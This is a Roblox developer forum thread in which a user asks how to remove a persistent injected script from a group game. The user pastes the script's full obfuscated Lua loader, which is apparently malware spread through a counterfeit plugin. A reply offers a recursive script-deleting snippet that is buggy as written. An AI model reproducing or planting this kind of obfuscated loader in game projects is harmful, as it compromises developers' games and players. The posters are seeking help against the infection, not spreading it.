Virus in my game

In a group game, my friend (who is not the brightest by any means) put in a few free models. Since then, there’s been a recurring script in the game I cannot get rid of. Studio points its location in the error message in a random model or part within the workspace. When I go its location, its within the player. When I exit test, the script is gone. If I delete the model/part the script was said to parented to, the error message points to a different location. The script name is always a non English character.

If you want to try and decrypt the monstrosity of the script, here it is

local i=string.byte;local d=string.char;local c=string.sub;local u=table.concat;local L=getfenv or function()return _ENV end;local l=setmetatable;local s=select;local h=unpack;local r=tonumber;local function m(i)local e,n,a="","",{}local o=256;local t={}for l=0,o-1 do t[l]=d(l)end;local l=1;local function f()local e=r(c(i,l,l),36)l=l+1;local n=r(c(i,l,l+e-1),36)l=l+e;return n end;e=d(f())a[1]=e;while l<#i do local l=f()if t[l]then n=t[l]else n=e…c(e,1,1)end;t[o]=e…c(n,1,1)a[#a+1],e,o=n,n,o+1 end;return table.concat(a)end;local t=m(‘24327427424927526N24B22R23021F24B27427927B21I27E24326J23V27H23V27426M23N24Z24321I23N27F23N27H27V24326N27X23027U27426J24Z27H27S24327Q27S28428A24B27V27I27P27J28H24324727524124427526926U26A26E26Y28R24124127525D26U24027422B25221Y21423F25U29224323725U23A29725U243’);local o=bit and bit.bxor or function(l,n)local e,o=1,0 while l>0 and n>0 do local a,c=l%2,n%2 if a~=c then o=o+e end l,n,e=(l-a)/2,(n-c)/2,e2 end if l0 do local n=l%2 if n>0 then o=o+e end l,e=(l-n)/2,e2 end return o end local function e(e,l,n)if n then local l=(e/2^(l-1))%2^((n-1)-(l-1)+1);return l-l%1;else local l=2^(l-1);return(e%(l+l)>=l)and 1 or 0;end;end;local l=1;local function n()local c,n,e,a=i(t,l,l+3);c=o(c,147)n=o(n,147)e=o(e,147)a=o(a,147)l=l+4;return(a16777216)+(e65536)+(n256)+c;end;local function a()local e=o(i(t,l,l),147);l=l+1;return e;end;local function m()local l=n();local o=n();local c=1;local n=(e(o,1,20)(2^32))+l;local l=e(o,21,31);local e=((-1)^e(o,32));if(l==0)then if(n==0)then return e0;else l=1;c=0;end;elseif(l==2047)then return(n==0)and(e(1/0))or(e*(0/0));end;return e*(2^(l-1023))*(c+(n/(2^52)));end;local r=n;local function f(e)local n;if(not e)then e=r();if(e==0)then return’’;end;end;n=c(t,l,l+e-1);l=l+e;local e={}for l=1,#n do e[l]=d(o(i(c(n,l,l)),147))end return u(e);end;local l=n;local function u()local i={0,0,0,0,0,0,0,0,0,0};local l={};local c={};local t={i,nil,l,nil,nil,nil,c};t[5]=a();for e=1,n()do l[e-1]=u();end;for a=1,n()do local c=o(n(),125);local n=o(n(),165);local o=e(c,1,2);local l=e(n,1,11);local l={l,e(c,3,11),nil,nil,n};if(o==0)then l[3]=e(c,12,20);l[5]=e(c,21,29);elseif(o==1)then l[3]=e(n,12,33);elseif(o==2)then l[3]=e(n,12,32)-1048575;elseif(o==3)then l[3]=e(n,12,32)-1048575;l[5]=e(c,21,29);end;i[a]=l;end;local l=n()local n={0,0,0,0};for o=1,l do local e=a();local l;if(e==1)then l=(a()~=0);elseif(e==3)then l=m();elseif(e==2)then l=f();end;n[o]=l;end;t[2]=n t[6]=a();return t;end;local function m(l,e,f)local d=l[1];local i=l[2];local e=l[3];local e=l[6];return function(…)local n=1;local c=-1;local a={};local r={…};local l=s(’#’,…)-1;local o={};local o={nil,nil};for l=0,l do if(l>=e)then a[l-e]=r[l+1];else o[l]=r[l+1];end;end;local l;local t;while true do l=d[n];t=l[1];if t<=5 then if t<=2 then if t<=0 then do return end;elseif t>1 then local n=l[2];local a={};local e=0;local t=n+l[3]-1;for l=n+1,t do e=e+1;a[e]=o[l];end;local a={on};local l=n+l[5]-2;e=0;for l=n,l do e=e+1;o[l]=a[e];end;c=l;else local e=l[2];if e>c then c=e end;o[e]=i[l[3]];end;elseif t<=3 then local e=l[2];if e>c then c=e end;o[e]=f[i[l[3]]];elseif t>4 then f[i[l[3]]]=o[l[2]];n=n+1;l=d[n];local e=l[2];if e>c then c=e end;o[e]=f[i[l[3]]];n=n+1;l=d[n];e=l[2];if e>c then c=e end;o[e]=i[l[3]];n=n+1;l=d[n];e=l[2];r={};local a=0;Limit=e+l[3]-1;for l=e+1,Limit do a=a+1;r[a]=o[l];end;local t={oe};Limit=e+l[5]-2;a=0;for l=e,Limit do a=a+1;o[l]=t[a];end;c=Limit;n=n+1;l=d[n];f[i[l[3]]]=o[l[2]];n=n+1;l=d[n];e=l[2];if e>c then c=e end;o[e]=f[i[l[3]]];n=n+1;l=d[n];e=l[2];if e>c then c=e end;o[e]=i[l[3]];n=n+1;l=d[n];e=l[2];r={};a=0;Limit=e+l[3]-1;for l=e+1,Limit do a=a+1;r[a]=o[l];end;t={oe};Limit=e+l[5]-2;a=0;for l=e,Limit do a=a+1;o[l]=t[a];end;c=Limit;n=n+1;l=d[n];e=l[2];oe;c=e-1;n=n+1;l=d[n];do return end;else do return end;end;elseif t<=8 then if t<=6 then local e=l[2];if e>c then c=e end;o[e]=f[i[l[3]]];elseif t>7 then local l=l[2];ol;c=l-1;else local l=l[2];ol;c=l-1;end;elseif t<=10 then if t>9 then local n=l[2];local a={};local e=0;local t=n+l[3]-1;for l=n+1,t do e=e+1;a[e]=o[l];end;local a={on};local l=n+l[5]-2;e=0;for l=n,l do e=e+1;o[l]=a[e];end;c=l;else local e=l[2];if e>c then c=e end;o[e]=i[l[3]];end;elseif t==11 then f[i[l[3]]]=o[l[2]];else f[i[l[3]]]=o[l[2]];end;n=n+1;end;end;end;return m(u(),{},L())();

The Error

21:56:35.261 - Requested module experienced an error while loading
21:56:35.261 - Stack Begin
21:56:35.262 - Script ‘Model.MainModule’, Line 4
21:56:35.262 - Script ‘Model.MainModule’, Line 4 - field ?
21:56:35.263 - Script ‘Workspace.Lighting Brick.Part.\’, Line 1 (x2)
21:56:35.264 - Stack End

Script Location

image

How would I go about getting rid of this, if even possible?

2 Likes

Did you check your plugins? Theres most likely something there. Some virus plugins like to disguise them self as Popular plugins so make sure to check if its by the right author

2 Likes
local function recurse(x)
  for I,v in pairs(x:GetChildren()) do
     if x:IsA("Script") then
         x:Destroy()
      end
      if #x:GetChildren() > 0 then
        recurse(v)
     end
   end

   recurse(game.Workspace)
``` You can try this but it will destroy every Script,So you modify this script and do it spefically
Also This is a script that goes into SeverScriptService
1 Like

Oh my, I got a part to terrain plugin a few days ago. Its created by a bot account made 3 days ago, and its on the first page of the library. I don’t know if I should be more at fault for not being more careful, or roblox is more at fault for the rampant bots. Smh.

Thanks, though.

Its not your fault many people get fooled by it. Just be sure to report it so roblox can take it down.

PS don’t forget to mark it as the solution so other people know its been solved